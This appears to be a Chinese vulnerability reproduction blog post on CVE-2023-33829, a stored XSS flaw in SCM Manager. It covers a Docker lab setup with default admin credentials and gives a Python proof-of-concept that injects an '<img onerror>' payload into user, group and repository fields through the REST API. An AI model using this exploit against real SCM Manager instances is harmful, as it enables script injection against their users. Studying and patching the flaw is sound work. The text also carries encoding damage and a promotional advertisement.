一、漏洞描述
漏洞簡述
SCM-Manager 是一款開源的版本庫管理軟件,同時(shí)支持 subversion、mercurial、git 的版本庫管理。安裝簡單,功能較強(qiáng),提供用戶、用戶組的權(quán)限管理 ,有豐富的插件支持。由于在MIT的許可下是開源的,因此它允許被用于商業(yè)用途,而且其代碼可以在GitHub上獲取到。該項(xiàng)目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和開發(fā)了其各種代碼庫,以便為各個(gè)公司提供專業(yè)的企業(yè)級(jí)支持。
該漏洞主要為攻擊者利用其多個(gè)功能的描述字段的代碼缺陷,構(gòu)造payload進(jìn)行XSS攻擊。
漏洞影響范圍
供應(yīng)商:Cloudogu
產(chǎn)品:SCM Manager
確認(rèn)受影響版本:SCM Manager 1.2 <= 1.60
修復(fù)版本:>1.60 最新版本為2.43.1
二、漏洞復(fù)現(xiàn)實(shí)戰(zhàn)
環(huán)境搭建
docker鏡像:
https://bitbucket.org/sdorra/docker-scm-manager/src/master/
利用shell腳本搭建
shell:
#!/bin/bash
?
mkdir /var/lib/scm
chown 1000:1000 /var/lib/scm
docker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager
漏洞復(fù)現(xiàn)
首先訪問SCM Manager,需身份認(rèn)證
Username : scmadmin Password: scmadmin
repositories
repository功能下Description字段該漏洞可利用
創(chuàng)建新repository,并payload進(jìn)行利用
Git類型:
Subversion類型:
Users
User功能下Display Name字段該漏洞可利用
【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料免費(fèi)領(lǐng)!加vx:yj009991,備注 “博客園” 獲??!】
① 網(wǎng)安學(xué)習(xí)成長路徑思維導(dǎo)圖
?、?60+網(wǎng)安經(jīng)典常用工具包
?、?100+SRC漏洞分析報(bào)告
?、?150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
?、?最權(quán)威CISSP 認(rèn)證考試指南+題庫
?、?超1800頁CTF實(shí)戰(zhàn)技巧手冊(cè)
⑦ 最新網(wǎng)安大廠面試題合集(含答案)
?、?APP客戶端安全檢測(cè)指南(安卓+IOS)
創(chuàng)建新repository,并payload進(jìn)行利用
可以看到新創(chuàng)建的賬號(hào)中Display Name屬性下顯示異常,且XSS payload利用成功
Groups
Group功能下Description字段該漏洞可利用
另外可以根據(jù)POC進(jìn)行利用
POC:
import requests
import argparse
import sys
?
# Main menu
parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()
?
?
# Credentials
user = sys.argv[2]
password = sys.argv[4]
?
?
# Global Variables
main_url = "http://localhost:8080/scm" # Change URL if its necessary
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"
?
# Create a session
session = requests.Session()
?
# Credentials to send
post_data={
?'username': user, # change if you have any other user with write permissions
?'password': password # change if you have any other user with write permissions
}
?
r = session.post(auth_url, data=post_data)
?
if r.status_code == 200:
?print("[+] Authentication successfully")
else:
?print("[-] Failed to authenticate")
?sys.exit(1)
?
new_user={
?
?"name": "newUser",
?"displayName": "<img src=x onerror=alert('XSS')>",
?"mail": "",
?"password": "",
?"admin": False,
?"active": True,
?"type": "xml"
?
}
?
create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")
?
new_group={
?
?"name": "newGroup",
?"description": "<img src=x onerror=alert('XSS')>",
?"type": "xml"
?
}
?
create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")
?
new_repo={
?
?"name": "newRepo",
?"type": "svn",
?"contact": "",
?"description": "<img src=x onerror=alert('XSS')>",
?"public": False
?
}
?
create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")
漏洞修復(fù)
建議更新至SCM Manager最新版本,目前為2.43.1
結(jié)束語
本文主要介紹了CVE-2023-33829 SCM Manager XSS漏洞復(fù)現(xiàn)過程,漏洞主要體現(xiàn)于攻擊者利用其多個(gè)功能的描述字段的代碼缺陷,構(gòu)造payload進(jìn)行XSS攻擊。
本漏洞可參考之處為敏感功能避免重復(fù)調(diào)用非敏感功能代碼,并做好過濾與校驗(yàn),進(jìn)行必要的安全測(cè)試。
更多網(wǎng)安技能的在線實(shí)操練習(xí),請(qǐng)點(diǎn)擊這里>>文章來源:http://www.zghlxwxcb.cn/news/detail-473296.html
?文章來源地址http://www.zghlxwxcb.cn/news/detail-473296.html
到了這里,關(guān)于SCM Manager XSS漏洞復(fù)現(xiàn)(CVE-2023-33829)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!